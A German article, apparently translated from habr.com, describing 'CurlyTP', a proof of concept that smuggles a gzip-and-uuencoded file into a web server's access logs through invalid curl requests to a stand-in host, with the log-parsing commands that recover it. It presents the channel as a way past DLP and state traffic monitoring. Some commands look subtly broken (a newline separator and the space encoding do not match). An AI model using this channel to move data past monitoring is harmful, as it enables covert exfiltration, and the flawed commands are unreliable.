Austausch geheimen Nachrichten über Serverprotokolle

Laut der Definition in Wikipedia ist ein Dead Drop ein Konspirationsmittel, das für den Austausch von Informationen oder Gegenständen zwischen Menschen dient, die einen geheimen Standort nutzen. Der Sinn besteht darin, dass sich die Menschen niemals treffen, aber dennoch Informationen austauschen, um die betriebliche Sicherheit aufrechtzuerhalten.

Ein Dead Drop sollte keine Aufmerksamkeit erregen. Daher werden in der Offline-Welt oft unauffällige Gegenstände verwendet: ein loser Ziegelstein in der Wand, ein Bibliotheksbuch oder ein Loch in einem Baum.

Im Internet gibt es viele Werkzeuge zur Verschlüsselung und Anonymisierung, aber die Verwendung dieser Werkzeuge zieht Aufmerksamkeit auf sich. Außerdem können sie auf Unternehmens- oder staatlicher Ebene blockiert werden. Was kann man tun?

Der Entwickler Ryan Flowers hat eine interessante Lösung vorgeschlagen — jede Webseite als Dead Drop zu verwenden.Wenn man darüber nachdenkt, was ein Webserver tut? Er nimmt Anfragen entgegen, gibt Dateien aus und schreibt Protokolle. Und er protokolliert alle Anfragen, auch ungültige.!

Das bedeutet, dass jeder Webserver fast beliebige Nachrichten im Protokoll speichern kann. Flowers dachte darüber nach, wie man das nutzen kann.

Er schlägt folgendes vor:

  1. Nehmen wir eine Textdatei (geheime Nachricht) und berechnen den Hash (md5sum).
  2. Wir kodieren sie (gzip+uuencode).
  3. Wir schreiben sie ins Protokoll, indem wir eine absichtlich ungültige Anfrage an den Server senden.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Um die Datei zu lesen, müssen diese Vorgänge in umgekehrter Reihenfolge durchgeführt werden: dekodieren und entpacken der Datei, den Hash überprüfen (der Hash kann sicher über offene Kanäle übertragen werden).

Leerzeichen werden durch =+=ersetzt, damit die Adresse keine Leerzeichen enthält. Das Programm, das der Autor CurlyTP genannt hat, verwendet die Codierung base64, wie bei E-Mail-Anhängen. Die Anfrage wird mit dem Schlüsselwort ?transfer?gestellt, damit der Empfänger sie leicht im Protokoll finden kann.

Was sehen wir in den Protokollen in diesem Fall?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Wie bereits erwähnt, um die geheime Nachricht zu erhalten, müssen die Operationen in umgekehrter Reihenfolge durchgeführt werden:

Remote-Maschine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Der Prozess lässt sich leicht automatisieren. Die Md5sum stimmt überein und der Inhalt der Datei bestätigt, dass alles korrekt dekodiert wurde.

Die Methode ist sehr einfach. „Der Sinn dieser Übung besteht nur darin zu beweisen, dass Dateien über harmlose kleine Webanfragen übertragen werden können, und dass es auf jedem Webserver mit normalen Textprotokollen funktioniert. Im Grunde ist jeder Webserver ein Versteck!“, schreibt Flowers.

Natürlich funktioniert die Methode nur, wenn der Empfänger Zugang zu den Serverprotokollen hat. Solchen Zugang bieten zum Beispiel viele Hosting-Anbieter.

Wie kann man das nutzen?

Ryan Flowers sagt, dass er kein Experte für Informationssicherheit ist und keine Liste möglicher Anwendungen von CurlyTP erstellen wird. Für ihn ist es einfach ein Beweis für das Konzept, dass gewohnte Werkzeuge, die wir täglich sehen, auf unkonventionelle Weise genutzt werden können.

Tatsächlich hat diese Methode eine Reihe von Vorteilen gegenüber anderen serverbasierten „Verstecken“ wie Digital Dead Drop oder PirateBox: sie erfordert keine besondere Konfiguration auf der Serverseite oder spezielle Protokolle — und wird keinen Verdacht erregen bei denen, die den Datenverkehr überwachen. Es ist unwahrscheinlich, dass SORM oder ein DLP-System URLs auf komprimierte Textdateien durchsuchen wird.

Dies ist eine der Methoden zur Übertragung von Nachrichten über systeminterne Dateien. Man kann sich erinnern, wie früher einige fortschrittliche Unternehmen Stellenangebote für Entwickler in HTTP-Headern oder im HTML-Code von Seiten platzierten.

Austausch geheimen Nachrichten über Serverprotokolle

Die Idee war, dass solch ein „Easter Egg“ nur von Webentwicklern gesehen wird, da normale Menschen die Header oder den HTML-Code nicht durchsuchen.

Austausch geheimen Nachrichten über Serverprotokolle

Quelle: habr.com

60GB SSD 8Gb DDR4